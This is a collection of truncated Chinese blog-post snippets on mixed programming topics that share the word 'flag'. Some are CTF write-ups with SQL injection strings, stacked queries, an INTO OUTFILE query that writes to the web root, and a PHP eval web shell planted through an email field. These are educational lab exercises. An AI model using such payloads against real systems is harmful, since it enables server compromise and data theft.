参考文档:https://pkg.go.dev/flag@go1.18.2 应用:Package flag implements command-line flag parsing. 示例:util 包 package util import ( "fmt" "strings" ) type StringList []string func (sl *StringList) String() string { return fmt.Sprint(*
前言 刷题网址:https://buuoj.cn/challenges#[强网杯 2019]随便注 首先打开就是SQL注入,我们尝试一下,如下图,发现返回的是原始数据 然后我们输入1' or 1=1#发现返回了所有数据,如下图 这里我们直接来使用联合注入尝试,发现order by 2正常回显,但是order by 3就报错 这里我们查询,发现
前言 刷题网址:https://buuoj.cn/challenges#[ACTF2020 新生赛]Include 首先打开网页,提示tips点击他,根据题目提示很难不想到是文件包含,但是提示是能找到外面的flag吗,如下图。 这里我猜想的是否在上上一个目录,../上一个目录,但是无论我输多少都不行。 所以这里我转换思路尝试去读
前言 刷题网址:https://buuoj.cn/challenges#[极客大挑战 2019]Havefun 首先打开题目,发现是一只猫猫,如下图 二话不说直接看源代码,发现了东西,如下图。 代码如下,GET传参了cat,判断传参cat是否等于dog,如果是那么就输出Syc{cat_cat_cat_cat},非常简单的代码审计 payload: /?cat=dog
还是暴力写法 转成数加一再压回 下面有错误 对于超过int类型的整数出错 还没有改好 class Solution { public int[] plusOne(int[] digits) { int sum=0; int count=0; int flag=0; int
exp: s='wznqcaduqopfkqnwofDbzgeu' flag_pre='utflag' def getit(a1,b1,c1,a2,b2,c2,a3,b3,c3): for i in range(26): for j in range(26): if (a1 * i + b1 * j) % 26 == c1 and (a2 * i + b2 * j) % 26 == c2 and (a3 * i+b3
一 冒泡排序 平均时间复杂度:O(N^2) 最佳时间复杂度:O(N) 最差时间复杂度:O(N^2) 空间复杂度:O(1) 排序方式:In-place 稳定性:稳定 // 冒泡排序 class BubbleSort{ public LinkedList<Integer> Sort(LinkedList<Integer> list,int len) { Integer flag; for (in
字符 0 - 48 a - 97 A - 65 endl -->换行 转义字符 \t水平制表符 用来对齐 \\ 相当于一个 \ bool类型占用一个字节的大小 数据的输入 作用:用于从键盘获取数据 关键字:cin 语法:cin >>变量 应用字符串string时需要引用 #
1、先用查壳工具查看 发现是32位的,且无加密 2、用IDA32打开,用F5键进行反汇编,同时在main函数中用TAB键查看 3、得到flag
Map用法 声明 // map<Type,Type>name; map <int,bool> flag; 基础函数 插入元素 map <int,bool> flag; // 使用insert插入的元素互异,即当使用insert插入的数据出现相同key时,插入语句不起作用 // 使用array方式插入的元素覆盖原key所对应的value // insert插入pair flag.insert(p
直接打开main函数是不行的,看到网上的教程说是把那main下面的地址函数反编译成c就可以再去反编译main函数。 具体操作就是先反编译401020那个push函数, 然后再回去反编译main函数是可以正常打开的 分析一下这个也是一个个进行异或运算,将异或的字符与下面的进行比
题目是让找一个长度不为一的环,用DFS即可。 #include <iostream> #include <cstring> using namespace std; char mp[510][510]; bool vis[210][210]; int n, m; int fx[] = {0, 0, 1, -1}, fy[] = {1, -1, 0, 0}; bool flag; void dfs(int x, int y, int c, int d) { vis[x]
咕咕的搜索序列 思维 踩坑 1,观察完整的dfs序,即后序遍历,以r为子树的dfs序一定是连续的,且最右边为节点r。 2,故有等式: 设 该树的dfs序为 S, 以r为子树的dfs序的区间为[x, y] 则有 : S[y] = r, 最右边为点r y - x + 1 = size[r] 该区间的长度等于子树的大小 3,考虑本题: 如果题中给的df
#include<bits/stdc++.h> using namespace std; int main(){ ios::sync_with_stdio(false); int test; cin>>test; while(test--){ int n,a,cnt=0; bool flag=true; vector<int> v; cin>>n; for(int i=1;i<=n;i++){ cin>>
volatile关键字 什么是可见性? 可见性是指线程A改变变量的值后,线程B可以马上看到更改后变量的值 volatile的作用 关键字volatile提示线程每次从共享内存中读取数据,而不是从私有内存中读取,这样就保证了同步数据的可见性 关键字volatile适用的场景 当想实现一个线程对一个变量进行修
6.3Peterson 方法解决临界区问题 Peterson解决方案适用于两个进程交错的执行临界区与剩余区的情况。 假设两个进程是 P0 和P1 ,同时为了方便,当使用Pi时,另外一个进程使用Pj表示,即 j == 1 - i 。 Perterson 解决方案要求两个进程共享两个数据项: int turn; boolean flag[2]; 其中,fla
每到年初,总会听到身边的人各种立flag: 我要瘦20斤; 我要坚持一周读一本书; 我要早睡早起不熬夜; 我要断糖、坚持运动…… 但结果,很多人坚持了不到一个星期,flag就开始如同冷冷的冰雨在脸上胡乱地拍。 从“这次我一定要坚持”,到“下次再说吧”,我们设立的目标,都成了下得没用的决心。 也许
<title>质数的练习</title><script> /* *在页面中接收一个用户输入的数字,并判断是否是质数。 * 质数只能被1和他自身整除的数,1不是质数也不是合数,质数必须是大于1的自然数。 * */ var num = prompt("请输入一个大于1的整数:"); //判断这个值是否与
01-复杂度2 Maximum Subsequence Sum 坑: 1. 题目:output数据!不是下标 2. 输入数据:要考虑这些变态情况 (1)全是负数的情况 -- 特判 (2)全是0的情况 --输出: 0 0 0 (3)全是0+负数 --输出: 0 0 0 (4)0 0 0 1 2 3 --算! (5)1 2 3 0 0 0 --不算!不要后面的0 #include<iostream> using namespace std;
Object类的方法:等待wait() , 唤醒队首线程notify() , 唤醒全部等待线程notifyAll()。利用等待和唤醒实现Producer线程、Consumer线程的互斥访问Message对象。 代码如下: package ThreadDemo; class Message { private String msg = ""; private boolean flag = true; //记录型
#include <iostream>#include <cstring>using namespace std;struct sign{ char name[20]; int num; int flag;}x[105],y[105],z[105];int main(){ int n; cin>>n; int i,j; for(i=1;i<=n;i++) { cin>>x[i].name; for(j=0;j<strlen(x[i].name
406 http://www.baidu.com;'union/**/select/**/1,(select/**/flag/**/from/**/flag)/**/into/**/outfile/**/"/var/www/html/flag.txt"%23 407 ?ip=cafe::add ip6地址,类的名字叫cafe都是16进制 408 ?email="<?php eval($_POST[1]);?>"
`import java.util.Arrays; import java.util.Scanner; /** @Author:TJ @Version:1.0 @Date:2022/4/30-17:15 @Since:jdk1.8 @Description: */ public class Work { static String inputname, inputPswd; static String loginname, loginPswd; static Scanner scann
======================= **基础知识** ======================= 字典树(Trie): 单词查找树, 可用于单词查找,字符串排序; 在大部分的树中, 节点 代表 集合;边 代表 关系;(很重要,代码实现中很多地方都体现); 字典树的具体结构如下图,其中每一条边代表一个字符;不同节点颜色代表以
输入1进去,发现可以正常输出; 在身上1';发现不能进行正常回显。 试了一下 1' or 1=1 #发现有正常回显; 再进行查询表; 1';show tables; 发现有两个表,只有一个一个的试,没有十分明显的标志;1';show columns from `1919810931114514`;# 第一次试